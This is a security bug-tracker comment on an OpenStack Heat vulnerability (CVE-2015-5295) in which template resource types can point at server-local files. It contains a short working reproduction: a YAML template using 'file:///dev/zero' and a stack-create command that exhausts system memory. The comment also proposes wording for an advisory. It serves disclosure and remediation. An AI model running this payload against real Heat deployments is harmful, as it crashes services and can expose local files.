Comment 60 for bug 1496277

Revision history for this message
Tristan Cacqueray (tristan-cacqueray) wrote : Re: template-validate may read server local files (CVE-2015-5295)

Trying to reproduce using this sequence quickly consumes all system memory and crashed my setup:
cat > bad_template.yaml << EOF
heat_template_version: 2013-05-23
description": "a"
resources: {"my_instance": {"type": "file:///dev/zero#a.yaml", "properties": {"flavor": "m1.small"}}}
EOF
heat stack-create --template-file ./bad_template.yaml test_bad

I propose to add this Note to the advisory:
- Until the python-heatclient get updated, this bug also reproduces on the client side, users should only launch template from trusted sources.